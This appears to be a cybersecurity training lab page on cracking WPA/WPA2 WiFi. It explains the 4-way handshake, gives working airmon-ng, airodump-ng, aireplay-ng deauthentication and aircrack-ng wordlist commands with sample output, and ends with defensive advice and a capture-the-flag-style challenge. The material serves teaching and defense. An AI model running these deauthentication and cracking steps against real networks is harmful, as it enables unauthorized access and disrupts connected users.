Wireless Network Attack

WiFi Password Cracking

Master the art of cracking WPA/WPA2 WiFi networks. Learn how attackers capture handshakes, deauthenticate clients, and crack passwords using powerful tools like Aircrack-ng. This room includes a fully interactive simulated environment.

Learning Objectives

By the end of this room, you will be able to:

  • Understand how WPA/WPA2 authentication works and its vulnerabilities
  • Place a wireless adapter in monitor mode to capture traffic
  • Use airodump-ng to discover and target wireless networks
  • Perform deauthentication attacks to capture handshakes
  • Crack WPA handshakes using wordlists with aircrack-ng
  • Implement defensive measures to protect your own networks

Important Notice

Legal Warning: Cracking WiFi networks without explicit permission is illegal in most jurisdictions. This training room is for educational purposes only. All attacks are simulated in a safe virtual environment. Only practice these techniques on networks you own or have written permission to test.

1

Understand the Theory

Learn how WPA/WPA2 works, what the 4-way handshake is, and why deauthentication attacks are effective.

2

Interactive Lab

Use our simulated terminal to practice every step: monitor mode, scanning, handshake capture, and cracking.

3

Defense Strategies

Learn how to protect your own networks from these attacks with WPA3, strong passwords, and proper configuration.

Theory

How WiFi Hacking Works

Understanding the technical foundations of WPA/WPA2 security and the attack vectors used to compromise it.

WPA/WPA2 Overview

WiFi Protected Access (WPA) and WPA2 are security protocols designed to secure wireless networks. WPA2 became the standard in 2004, replacing WEP (which is now considered completely insecure).

Key Features:

  • PSK (Pre-Shared Key): Uses a passphrase (8-63 characters) to derive encryption keys
  • CCMP (Counter Mode with Cipher Block Chaining): AES-based encryption for data confidentiality
  • 4-Way Handshake: Authentication process between client and access point

The 4-Way Handshake

The 4-way handshake is the authentication process used to connect to a WPA/WPA2 network. This is the critical vulnerability that allows our attack to work.

1

Access Point Sends ANonce

The AP generates a random number (ANonce) and sends it to the client.

2

Client Responds with SNonce

The client generates its own random number (SNonce) and sends it back, along with a MIC (Message Integrity Check).

3

AP Sends GTK

The AP sends the Group Temporal Key (GTK) for broadcast traffic, encrypted with the session key.

4

Client Confirms

The client acknowledges and installs the keys. The connection is now established.

Attack Vector: During this handshake, the authentication information (including the MIC) is transmitted. If we capture this handshake, we can perform an offline brute-force attack to discover the password without needing to stay connected to the network.

The Attack Process

Here's the complete attack chain we'll execute:

Attack Flow Process
# Step 1: Enable Monitor Mode airmon-ng start wlan0 Interface wlan0mon created and set to monitor mode # Step 2: Scan for Target Networks airodump-ng wlan0mon BSSID PWR Beacons #Data CH MB ENC CIPHER AUTH ESSID AA:BB:CC:DD:EE:01 -35 152 45 1 54 WPA2 CCMP PSK L2C-Corp-WiFi # Step 3: Capture Handshake (Target Specific Network) airodump-ng -c 1 --bssid AA:BB:CC:DD:EE:01 -w capture wlan0mon # Step 4: Deauthenticate Clients (Force Reconnection) aireplay-ng -0 10 -a AA:BB:CC:DD:EE:01 -c 11:22:33:44:55:66 wlan0mon Sending DeAuth to broadcast -- BSSID: [AA:BB:CC:DD:EE:01] # Step 5: Crack the Captured Handshake aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap KEY FOUND! [ CyberPass123 ]
Interactive Lab

WiFi Cracking Lab

Complete hands-on simulation. Follow the steps to crack the target network "L2C-Corp-WiFi".

Target Network Topology
Channel 1
L2C-Corp-WiFi
AA:BB:CC:DD:EE:01
WPA2 - PSK
Victim
John's Laptop
11:22:33:44:55:66
Connected

Kali Linux Terminal (Simulated)

root@l2c-lab:~/wifi-lab
Welcome to Learn2Cyber WiFi Cracking Lab v1.0
Type 'help' for available commands or follow the lab instructions below.
root@l2c-lab:~#
Quick Commands
airmon-ng start wlan0
airodump-ng wlan0mon
Target specific network
Deauthenticate clients
Crack handshake

Lab Instructions

1

Enable Monitor Mode

First, you need to put your wireless adapter into monitor mode to capture raw packets.

airmon-ng start wlan0
2

Scan for Networks

Scan for nearby WiFi networks and identify the target "L2C-Corp-WiFi".

airodump-ng wlan0mon
3

Capture Handshake

Target the specific network and start capturing traffic. Save to a capture file.

airodump-ng -c 1 --bssid AA:BB:CC:DD:EE:01 -w capture wlan0mon
4

Deauthenticate Clients

Force connected devices to reconnect so you can capture the handshake. Run this in a new terminal.

aireplay-ng -0 10 -a AA:BB:CC:DD:EE:01 -c 11:22:33:44:55:66 wlan0mon
5

Crack the Password

Once you have the handshake (WPA handshake shown in top right), crack it using the wordlist.

aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Defense

Securing Your WiFi

Learn how to protect your own networks from the attacks you just performed.

Best Practices

1

Use Strong Passwords

Your WPA2 password should be at least 16 characters long with a mix of uppercase, lowercase, numbers, and symbols. Avoid dictionary words.

2

Upgrade to WPA3

WPA3 includes individualized data encryption and protection against offline dictionary attacks. Upgrade your router and devices.

3

Disable WPS

WiFi Protected Setup (WPS) has known vulnerabilities. Disable it in your router settings if not needed.

4

Enable 802.11w

This standard provides protection against deauthentication attacks by requiring protected management frames.

Challenge

Final Challenge

Test your skills. Crack the "CEO-Office-Secure" network without hints.

Target: CEO-Office-Secure

A new wireless network has been detected. Your mission is to crack it and retrieve the password. This time, you're on your own - no step-by-step instructions!

ESSID
CEO-Office-Secure
BSSID
FF:EE:DD:CC:BB:AA
Channel
6
Encryption
WPA2